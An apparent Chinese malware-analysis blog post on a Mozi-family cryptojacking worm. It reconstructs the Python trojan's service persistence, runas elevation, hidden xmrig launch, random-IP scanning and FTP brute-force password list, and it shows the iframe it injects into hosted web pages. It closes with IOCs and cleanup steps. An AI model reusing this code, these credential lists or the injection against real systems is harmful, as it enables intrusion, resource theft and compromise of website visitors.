基本信息

对象
文件名 Photo.scr
文件类型 PE32 executable for MS Windows (GUI) Intel 80386 32-bit
文件大小 6271259 bytes
MD5 a20727b81b50a20483ba59ae65443dfe
SHA256 af94ddf7c35b9d9f016a5a4b232b43e071d59c6beb1560ba76df20df7b49ca4c
其它信息 \
对象
文件名 HelpPane.exe
文件类型 PE32 executable for MS Windows (GUI) Intel 80386 32-bit
文件大小 6271259 bytes
MD5 a20727b81b50a20483ba59ae65443dfe
SHA256 af94ddf7c35b9d9f016a5a4b232b43e071d59c6beb1560ba76df20df7b49ca4c
其它信息 \
对象
文件名 xmrig.exe
文件类型 PE32 executable for MS Windows (console) Intel 80386 32-bit
文件大小 1905664 bytes
MD5 13bdd9cd9f7e51746172996262b5a873
SHA256 4bf737b29ff521bc263eb1f2c1c5ea04b47470cccd1beae245d98def389929bd
其它信息 UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub

动态分析

进程信息

网络信息

DNS记录

domain IP
dht.transmissionbt.com 87.98.162.88、212.129.33.59
router.bittorrent.com 67.215.246.10
router.utorrent.com 82.221.103.244
bttracker.debian.org 130.239.18.159
xmr.crypto-pool.fr 163.172.226.137

连接记录

IP Port 反查domain 发起进程名
20.73.194.208 443 \ \
163.172.226.137 3333 xmr.crypto-pool.fr xmrig.exe
20.73.194.208 443 \ svchost.exe
20.73.194.208 443 \ \
65.0.126.237 21 \ HelpPane.exe
14.95.85.66 21 \ HelpPane.exe
31.16.135.42 21 \ HelpPane.exe
109.72.121.23 21 \ HelpPane.exe
109.72.121.23 21 \ HelpPane.exe

python打包程序反编译

可以很明显看到是Python打包的程序,反编译流程为pyinstxtractor+uncompyle6(Python2.7)

反编译

拿到解压后的文件,找到ftpcrack.pyc,对比struct.pyc,替换第一行头部信息为

  1. 03 F3 0D 0A 70 79 69 30 63 00 00 00 00 00 00 00 00 3E 00 00 00 40 00 00 00 73 A7 08 00 00 64 00

反汇编字节码文件得到

服务启动

参数与服务判断

  1. if sys.argv == 1: # 参数数量为1
  2. argvs = ''
  3. else:
  4. argvs = ('').join(sys.argv[1:])
  5. if is_exists(Servicename) and len(sys.argv) == 1: # 情况1:FTP服务开启&参数数量为1
  6. ... ...
  7. elif len(sys.argv) >= 2: # 情况2:参数数量不小于2
  8. ... ...
  9. elif is_admin():
  10. ... ...
  11. elif sys.version_info[0] == 3: # 情况3:管理员启用
  12. ... ...
  13. else: # 情况3:其它情况

服务信息

  1. class PythonService(win32serviceutil.ServiceFramework):
  2. # 服务名
  3. _svc_name_ = Servicename
  4. # 服务显示名称
  5. _svc_display_name_ = 'Application State ftp Service'
  6. # 服务描述
  7. _svc_description_ = 'Application Support State ftp Service'
  8. def __init__(self, args):
  9. win32serviceutil.ServiceFramework.__init__(self, args)
  10. self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
  11. self.run = True
  12. return
  13. def SvcDoRun(self):
  14. while self.run:
  15. main()
  16. def SvcStop(self):
  17. self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
  18. win32event.SetEvent(self.hWaitStop)
  19. self.run = False

情况1:FTP服务开启&参数数量1

判断指定服务是否存在

  1. def is_exists(name):
  2. """windows\xb7\xfe\xce\xf1\xca\xc7\xb7\xf1\xd2\xd1\xb0\xb2\xd7\xb0"""
  3. # 获取计算机上所有服务
  4. scm = win32service.OpenSCManager(None, None, win32service.SC_MANAGER_ENUMERATE_SERVICE)
  5. # 获取状态信息
  6. statuses = win32service.EnumServicesStatus(scm, win32service.SERVICE_WIN32, win32service.SERVICE_STATE_ALL)
  7. # 判断是否有指定服务
  8. for short_name, desc, status in statuses:
  9. if short_name == name:
  10. return True
  11. return False

启用木马程序,替代StateftpService服务

  1. try:
  2. # 获取木马程序路径,注册服务信息,启动木马程序
  3. evtsrc_dll = os.path.abspath(servicemanager.__file__)
  4. servicemanager.PrepareToHostSingle(PythonService)
  5. servicemanager.Initialize(Servicename, evtsrc_dll)
  6. servicemanager.StartServiceCtrlDispatcher()
  7. except win32service.error as details:
  8. # 如果因为无权限执行
  9. if details[0] == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT:
  10. # 如果是管理员,将程序拷贝到管理员目录下执行(例如:C:\\Users\\Hk_Mayfly)
  11. if is_admin():
  12. commonfile = os.environ['USERPROFILE']
  13. os.popen('copy /y ' + os.path.realpath(sys.argv[0]) + ' ' + commonfile + '\\HelpPane.exe')
  14. if is_stop(Servicename):
  15. os.popen(commonfile + '\\HelpPane.exe start')
  16. # 如果非管理员,计算机上python版本为3.x,执行下面这句,以管理员身份执行,2.x版本需要转unicode
  17. elif sys.version_info[0] == 3:
  18. ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
  19. else:
  20. ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)

情况2:输入参数启动

PS:这老哥直接copy的网上代码,就说代码还很规范,看样子应该是国内的~

参数说明

  1. 1.安装服务
  2. python PythonService.py install
  3. 2.让服务自动启动
  4. python PythonService.py --startup auto install
  5. 3.启动服务
  6. python PythonService.py start
  7. 4.重启服务
  8. python PythonService.py restart
  9. 5.停止服务
  10. python PythonService.py stop
  11. 6.删除/卸载服务
  12. python PythonService.py remove
  1. elif len(sys.argv) >= 2: # 参数数量不小于2
  2. # /s 表示将样本程序设置为自启动
  3. if sys.argv[1].lower() == '/s':
  4. if is_admin():
  5. commonfile = os.environ['USERPROFILE']
  6. os.popen('copy /y ' + os.path.realpath(sys.argv[0]) + ' ' + commonfile + '\\HelpPane.exe')
  7. os.popen(commonfile + '\\HelpPane.exe --startup auto install')
  8. os.popen(commonfile + '\\HelpPane.exe start')
  9. elif sys.version_info[0] == 3:
  10. ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
  11. else:
  12. ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)
  13. if sys.argv[1].lower() == '--startup' or sys.argv[1].lower() == 'install' or sys.argv[1].lower() == 'start' or sys.argv[1].lower() == 'remove':
  14. if is_admin():
  15. win32serviceutil.HandleCommandLine(PythonService)
  16. elif sys.version_info[0] == 3:
  17. ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
  18. else:
  19. ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)

情况3:管理员启用

直接将木马copy到管理员目录下执行

  1. commonfile = os.environ['USERPROFILE']
  2. os.popen('copy /y ' + os.path.realpath(sys.argv[0]) + ' ' + commonfile + '\\HelpPane.exe')
  3. os.popen(commonfile + '\\HelpPane.exe --startup auto install')
  4. os.popen(commonfile + '\\HelpPane.exe start')

情况4、5:根据python版本启用

python 3.x 管理员权限执行

  1. ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)

python 2.x 管理员权限执行

  1. ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)

启动配置挖矿样本

首先拿构造IP池,大致过程就是拿出所有非本地网卡的IP地址,如:172.45.6.0,再拿出掩码长度组成IP段,例如:172.45.6.0/24

  1. RANDOM_IP_POOL = get_local_ipaddr()
  1. def getmask(netmask):
  2. result = ''
  3. for num in netmask.split('.'):
  4. temp = str(bin(int(num)))[2:]
  5. result = result + temp
  6. return str(len(('').join(str(result).split('0')[0:1])))
  7. def get_local_ipaddr():
  8. resultsip = []
  9. for i in netifaces.interfaces():
  10. info = netifaces.ifaddresses(i)
  11. if netifaces.AF_INET not in info:
  12. continue
  13. if info[netifaces.AF_INET][0]['addr'].encode('raw_unicode_escape') != '127.0.0.1':
  14. resultsip.append(info[netifaces.AF_INET][0]['addr'].encode('raw_unicode_escape') + '/' + getmask(info[netifaces.AF_INET][0]['netmask'].encode('raw_unicode_escape')))
  15. return resultsip

根据系统杀掉本地的挖矿进程,nt->Windowsposix->Linux

  1. def killminer():
  2. pids = psutil.pids()
  3. for pid in pids:
  4. p = psutil.Process(pid)
  5. cmds = getProperty(p, 'cmdline')
  6. if pid != os.getpid():
  7. if p.name().lower().find('xmr') >= 0 or p.name().lower().find('miner') >= 0 or (' ').join(cmds).lower().find('pool') >= 0 or (' ').join(cmds).lower().find('xmr') >= 0 or (' ').join(cmds).lower().find('miner') >= 0 or (' ').join(cmds).lower().find('tcp://') >= 0 or (' ').join(cmds).lower().find('stratum') >= 0:
  8. if os.name == 'nt':
  9. cmd = 'taskkill /pid ' + str(pid) + ' /f'
  10. os.popen(cmd)
  11. elif os.name == 'posix':
  12. cmd = 'kill ' + str(pid)
  13. os.popen(cmd)

将挖矿程序xmrig.exe连同配置文件config.json放到C盘临时目录运行

  1. os.popen('copy /y ' + res_path + 'xmrig.exe ' + tmp + '\\xmrig.exe')os.popen('copy /y ' + res_path + 'config.json ' + tmp + '\\config.json')
  2. time.sleep(3)
  3. info = subprocess.STARTUPINFO()
  4. info.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW
  5. info.wShowWindow = subprocess.SW_HIDE
  6. proc = subprocess.Popen(tmp + '\\xmrig.exe', startupinfo=info)
  1. subprocess.STARTF_USESHOWWINDOW指明 STARTUPINFO.wShowWindow 属性包含额外的信息。subprocess.CREATE_NEW_CONSOLE新的进程将有新的控制台,而不是继承父进程的(默认)控制台。

转存文件到TEMP目录

  1. hb = binascii.a2b_hex(lnk)
  2. tmplnk = tmp + '\\link.txt'
  3. flink = open(tmplnk, 'w')
  4. flink.write(hb)flink.close()
  5. filename = tmp + '\\config'
  6. open(tmp + '\\config', 'w').close()

配置bot节点信息

启动两个线程

  1. t1 = Thread(target=prockad, args=('kad', ))
  2. t1.start()
  3. t2 = Thread(target=config, args=('config', ))
  4. t2.start()
  1. def prockad(x):
  2. global dll
  3. kadfile = 'back.jpg'
  4. try:
  5. dll = CDLL(kadfile)
  6. dll._Z7GetConfPc('')
  7. except Exception as e:
  8. pass

启动back.jpg

back.jpg

这是一个32位DLL文件,经过UPX加壳

对象
文件名 back.jpg
文件类型 PE32 executable for MS Windows (DLL) (console) Intel 80386
文件大小 47107 bytes
MD5 4ae078dd5085e97d3605f20dc079412a
SHA256 ed551536ff22587cdf7701a279e088eb370a4121e7a3fa1f3c8b121e767318a2
其它信息 UPX

Config配置文件

在这里看到有打开之前转存到TEMP目录下的Config文件

向上回溯,发现两处信息

bot Config信息

脱壳后打开

这里看到了内嵌的Config信息

拿到内嵌Config信息[ss]ftp[/ss][cpu].2[/cpu][hp]88888888[/hp],同时上面的1:v4:说明这是个Mozi家族的恶意样本,用以区分DHT节点和Mozi节点流量(有表示为Mozi节点,会同步Config信息)。

这些应该是节点通讯的一些命令

ECDSA384:Config字段合法性验证

public_key1

  1. 4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F 69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B 38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1

public_key2

  1. 4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88

配置bot节点信息

这里是回溯的第二处信息

接着,生成硬编码节点ID

最终得到硬编码ID:88888888:ad2:id2bo

其它

  1. dht.transmissionbt.com:6881router.bittorrent.com:6881router.utorrent.com:6881bttracker.debian.org:6881

解析Config文件命令

这个线程主要解析从其它bot发来的指令(存入config中)

标签 作用
[mdf][/mdf] 下载指定恶意链接的程序,保存到tmp目录
[mdr][/mdr] 下载指定恶意链接的程序,并执行
[mud][/mud] 下载挖矿病毒更新程序,并执行更新命令(会创建一个upgrade.bat文件)
[mrn][/mrn] 执行指定命令
  1. def config(x):
  2. filename = tmp + '\\config'
  3. ...
  4. content = GetMiddleStr(congfigs, '[mdf]', '[/mdf]')
  5. ...
  6. content = GetMiddleStr(congfigs, '[mdr]', '[/mdr]')
  7. ...
  8. content = GetMiddleStr(congfigs, '[mud]', '[/mud]')
  9. ...
  10. content = GetMiddleStr(congfigs, '[mrn]', '[/mrn]')
  11. ...

FTP Crack

随机IP获取

随机获取3000个非局域网IP地址

  1. ip_list = []
  2. m_count = 200
  3. ping = True
  4. for i in range(1, 3000):
  5. ip_list.append(randomip())
  1. def randomip():
  2. ip = 'null'
  3. while True:
  4. ip0 = random.randint(1, 254)
  5. ip1 = random.randint(0, 255)
  6. ip2 = random.randint(0, 255)
  7. ip3 = random.randint(0, 255)
  8. ip = str(ip0) + '.' + str(ip1) + '.' + str(ip2) + '.' + str(ip3)
  9. if ip0 == 10 or ip0 == 127:
  10. ip = 'null'
  11. elif ip0 == 100 and ip1 >= 64 and ip1 <= 127:
  12. ip = 'null'
  13. ... ...

再往IP列表中添加本机IP地址列表

  1. iplist.append(get_random_ip())

获取存活IP

  1. iplist = get_ac_ip(iplist)
  1. def get_ac_ip(ip_list):
  2. try:
  3. s = Nscan()
  4. ipPool = set(ip_list)
  5. return s.mPing(ipPool)
  6. except Exception as e:
  7. return ip_list```
  8. ```python
  9. class Nscan:
  10. def __init__(self, timeout=3):
  11. ...
  12. @property
  13. def __icmpSocket(self):
  14. """创建ICMP Socket"""
  15. ...
  16. def __inCksum(self, packet):
  17. """ICMP报文校验和计算方法"""
  18. ...
  19. @property
  20. def __icmpPacket(self):
  21. """构造ICMP报文"""
  22. ...
  23. def mPing(self, ipPool):
  24. """利用ICMP报文探测网络主机存活"""
  25. ...

主机信息探测

FTP爆破

有个Crack类,含有所有的功能

  1. USER_DIC = {'ftp': [
  2. 'www', 'anonymous', 'admin', 'Admin', 'root', 'db', 'wwwroot', 'data', 'web', 'ftp', 'administrator', 'user', 'user123', 'test', 'www-data'],
  3. 'ssh': [
  4. 'root', 'admin']}
  5. PASSWORD_DIC = [
  6. 'anonymous', '123456', 'admin', 'root', 'password', '123123', '123', 'pass1234', '{user}', '{user}{user}', '{user}1', '{user}123',
  7. '{user}2016', '{user}2015', '{user}!', '', 'P@ssw0rd!!', 'qwa123', '12345678', 'test', '123qwe!@#', '123456789', '123321', '1314520', '159357',
  8. '{user}2017', '666666', 'woaini', 'fuckyou', '000000', '1234567890', '8888888', 'qwerty', '1qaz2wsx', 'abc123', 'abc123456', '1q2w3e4r', '123qwe',
  9. '{user}2019', '{user}2018', 'p@ssw0rd', 'p@55w0rd', 'password!', 'p@ssw0rd!', 'password1', 'r00t', 'tomcat', '5201314', 'system', 'pass', '1234',
  10. '12345', '1234567', 'devry', '111111', 'admin123', 'derok010101', 'windows', 'email@email.com', 'qazxswedc`123', 'qwerty123456', 'qazxswedc']

上传病毒文件

上传Photo.scrVideo.scrAV.scrPhoto.lnkVideo.lnkAV.lnk文件

恶意代码植入

  1. 将远程FTP服务器中所有文件结尾为:.html .htm .php .asp .stm .dhtm .phtm .xht .mht .htx .aspx .jsp .cgi .shtm .xml 下载到本地tmp目录
  2. 随机重命名文件,命名规则: ('').join(random.sample('zyxwvutsrqponmlkjihgfedcba', 5)) + val
  3. 读取下载下来的文件,若文件中没有恶意代码块<iframe src=Photo.scr width=1 height=1 frameborder=0>,则在文件内尾部加入<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>,以在网页中植入恶意程序
  4. 上传文件到远程服务器,并删除本地文件

其它信息

解包出来的文件还有一个config.json

  1. {
  2. "algo": "cryptonight",
  3. "api": {
  4. "port": 0,
  5. "access-token": null,
  6. "id": null,
  7. "worker-id": null,
  8. "ipv6": false,
  9. "restricted": true
  10. },
  11. "autosave": true,
  12. "av": 0,
  13. "background": true,
  14. "colors": true,
  15. "cpu-affinity": null,
  16. "cpu-priority": null,
  17. "donate-level": 1,
  18. "huge-pages": true,
  19. "hw-aes": null,
  20. "log-file": null,
  21. "max-cpu-usage": 70,
  22. "pools": [
  23. {
  24. "url": "xmr.crypto-pool.fr:3333",
  25. "user": "47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV",
  26. "pass": "x",
  27. "rig-id": null,
  28. "nicehash": false,
  29. "keepalive": false,
  30. "variant": -1,
  31. "enabled": true,
  32. "tls": false,
  33. "tls-fingerprint": null
  34. }
  35. ],
  36. "print-time": 60,
  37. "retries": 5,
  38. "retry-pause": 5,
  39. "safe": false,
  40. "threads": [
  41. {
  42. "low_power_mode": 1,
  43. "affine_to_cpu": false
  44. },
  45. {
  46. "low_power_mode": 1,
  47. "affine_to_cpu": false
  48. }
  49. ],
  50. "user-agent": null,
  51. "watch": true
  52. }

从这可以看出,恶意样本,设置cpu最大利用率70%,便于隐藏。

矿池:xmr.crypto-pool.fr:3333

钱包地址:47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV

IOC信息

  1. # md5
  2. a20727b81b50a20483ba59ae65443dfe
  3. 13bdd9cd9f7e51746172996262b5a873
  4. 4ae078dd5085e97d3605f20dc079412a
  5. # domain
  6. dht.transmissionbt.com:6881
  7. router.bittorrent.com:6881
  8. router.utorrent.com:6881
  9. bttracker.debian.org:6881
  10. # 矿池
  11. xmr.crypto-pool.fr:3333
  12. # ip
  13. 87.98.162.88
  14. 212.129.33.59
  15. 67.215.246.10
  16. 82.221.103.244
  17. 130.239.18.159
  18. 163.172.226.137
  19. 163.172.226.137:3333
  20. # 钱包地址
  21. 47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
标签 作用
[mdf][/mdf] 下载指定恶意链接的程序,保存到tmp目录
[mdr][/mdr] 下载指定恶意链接的程序,并执行
[mud][/mud] 下载挖矿病毒更新程序,并执行更新命令(会创建一个upgrade.bat文件)
[mrn][/mrn] 执行指定命令
  1. 弱密码
  2. [
  3. 'anonymous', '123456', 'admin', 'root', 'password', '123123', '123', 'pass1234', '{user}', '{user}{user}', '{user}1', '{user}123',
  4. '{user}2016', '{user}2015', '{user}!', '', 'P@ssw0rd!!', 'qwa123', '12345678', 'test', '123qwe!@#', '123456789', '123321', '1314520', '159357',
  5. '{user}2017', '666666', 'woaini', 'fuckyou', '000000', '1234567890', '8888888', 'qwerty', '1qaz2wsx', 'abc123', 'abc123456', '1q2w3e4r', '123qwe',
  6. '{user}2019', '{user}2018', 'p@ssw0rd', 'p@55w0rd', 'password!', 'p@ssw0rd!', 'password1', 'r00t', 'tomcat', '5201314', 'system', 'pass', '1234',
  7. '12345', '1234567', 'devry', '111111', 'admin123', 'derok010101', 'windows', 'email@email.com', 'qazxswedc`123', 'qwerty123456', 'qazxswedc'
  8. ]

处理意见

  1. 删除本地恶意样本Photo.scr
  2. 删除临时文件目录下xmrig.execonfig.jsonlink.txtconfigHelpPane.exeupdater.exeupdater
  3. 删除upgrade.batVideo.scrAV.scrPhoto.lnkVideo.lnkAV.lnk
  4. 杀掉包含以上文件名的进程
  5. 查找所有后缀为.html .htm .php .asp .stm .dhtm .phtm .xht .mht .htx .aspx .jsp .cgi .shtm .xml的文件,去除<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>代码片段
  6. 因为可能通过命令下载其它恶意程序,所以建议再使用腾讯电脑管家扫描一遍电脑。
  7. 关闭212121端口
  8. 修改FTP服务登录密码

新型活跃Mozi样本分析报告的更多相关文章

  1. Mydoom样本分析报告

    文件检测 信息 值 文件名 1.virus 文件类型 WIN 32 EXE 文件大小 41664 bytes MD5 3d466b0f8ba9f3fe03e137a34d79f682 SHA-256 ...

  2. 使用AES加密的勒索类软件分析报告

    报告名称:  某勒索类软件分析报告    作者:        李东 报告更新日期: 样本发现日期: 样本类型: 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: da4ab5e31793 ...

  3. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  4. 使用NB Exploit Kit攻击的APT样本分析——直接看流程图,就是网页挂马,利用java和flash等漏洞来在你主机安装和运行恶意软件

    使用NB Exploit Kit攻击的APT样本分析 from:https://cloud.tencent.com/developer/article/1092136 1.起因 近期,安恒工程师在某网 ...

  5. 《2018年云上挖矿态势分析报告》发布,非Web类应用安全风险需重点关注

    近日,阿里云安全团队发布了<2018年云上挖矿分析报告>.该报告以阿里云2018年的攻防数据为基础,对恶意挖矿态势进行了分析,并为个人和企业提出了合理的安全防护建议. 报告指出,尽管加密货 ...

  6. Android木马病毒com.schemedroid的分析报告

    某安全公司移动病毒分析报告的面试题目,该病毒样本的代码量比较大,最大的分析障碍是该病毒样本的类名称和类方法名称以及类成员变量的名称被混淆为无法辨认的特殊字符,每个被分析的类中所有的字符串都被加密处理了 ...

  7. Alpha阶段事后分析报告

    每个团队编写一个事后分析报告,对于团队在Alpha阶段的工作做一个总结. 请在2016年11月24日上课之前根据下述博客中的模板总结前一阶段的工作,发表在团队博客上,并在课上的事后分析会上进行汇报,并 ...

  8. 《奥威Power-BI智能分析报告制作方法 》精彩回顾

     上次课我们简单介绍了奥威Power-BI的智能分析报告,并展示了报告与图表相结合的应用场景.图文分析报表的意义不只在于美观,更重要的是固定框架下的灵活性和追根究底的动态分析,有着很强的实用性.上节课 ...

  9. 12月07日《奥威Power-BI智能分析报告制作方法 》腾讯课堂开课啦

            前几天跟我一个做报表的哥们聊天,听着他一茬一茬地诉苦:“每天做报表做到想吐,老板看报表时还是不给一个好脸色.”我也只能搬出那一套“过程大于结果”的内心疗程赠与他,没想到他反而怒了:“做 ...

随机推荐

  1. 性能测试工具JMeter 基础(八)—— 测试元件: 逻辑控制器之事物控制器

    事物控制器是将控制器下的所有取样器作为一个事物统计.分析 事物控制器(Transaction Controller) 事务控制器一共有两个选项: Generate parent sample:默认不勾 ...

  2. Identity角色管理一(准备工作)

    因角色管理需要有用户才能进行(需要将用户从角色中添加,删除)故角色管理代码依托用户管理 只需在Startup服务中添加角色管理即可完成 public void ConfigureServices(IS ...

  3. 硕盟type-c转接头|四合一多功能扩展坞

    硕盟SM-T54是一款 TYPE C转HDMI+VGA+USB3.0+PD3.0四合一多功能扩展坞,支持四口同时使用,您可以将含有USB 3.1协议的电脑主机,通过此产品连接到具有HDMI或VGA的显 ...

  4. 【第二十篇】-Maven IntelliJ之Spring Cloud直播商城 b2b2c电子商务技术总结

    Maven IntelliJ IntelliJ IDEA 已经内建了对 Maven 的支持.我们在此例中使用的是 IntelliJ IDEA 社区版 11.1. IntelliJ IDEA 的一些特性 ...

  5. Docker安装mysql镜像并进行主从配置

    Docker安装mysql镜像并进行主从配置 1.下载需要的mysql版本镜像 docker pull mysql:5.6 2.启动mysql服务实例(基本启动) #启动主mysql docker r ...

  6. 使用SQL SERVER存储过程实现历史数据迁移

    今天讲下软件开发中最常见的历史数据迁移方式.在讲迁移之前,先简单介绍下几个基本概念. 1.什么是历史数据迁移? 简单直白地说:就是将一些创建时间比较久而且不常用的历史数据,存储到另一个地方(可以是另一 ...

  7. CentOS8部署tftp

    tftp:简单文本传输协议,而ftp:文本传输协议.可以把tftp看成是ftp的精简版.tftp用于免登录传输小文件,tftp服务端监听在udp协议的69端口tftp简单的工作原理: tftp服务端与 ...

  8. python类、对象

    python类.对象 学习完本篇,你将会深入掌握 什么是类,对象 了解类和对象之间的关系 能独立创建一个People(人类),属性有姓名.性别.年龄.提供一个有参的构造方法,编写一个show方法,输出 ...

  9. TP5数据库数据变动日志记录设计

    根据网友的设计进行了部分调整: 用户分为管理员admin表和用户user表 记录操作表数据 增删改: insert/delete/update <?php /** * OperateLog.ph ...

  10. Shell系列(25)- 条件判断之文件权限

    按照文件权限进行判断 读.写.执行等选项权限,只要有,就返回真 不会按照所属者,所属用户组,其他用户进行区分 先判断文件是否存在,再去判断选项权限 测试选项 作用(标红熟记) -r 文件 判断该文件是 ...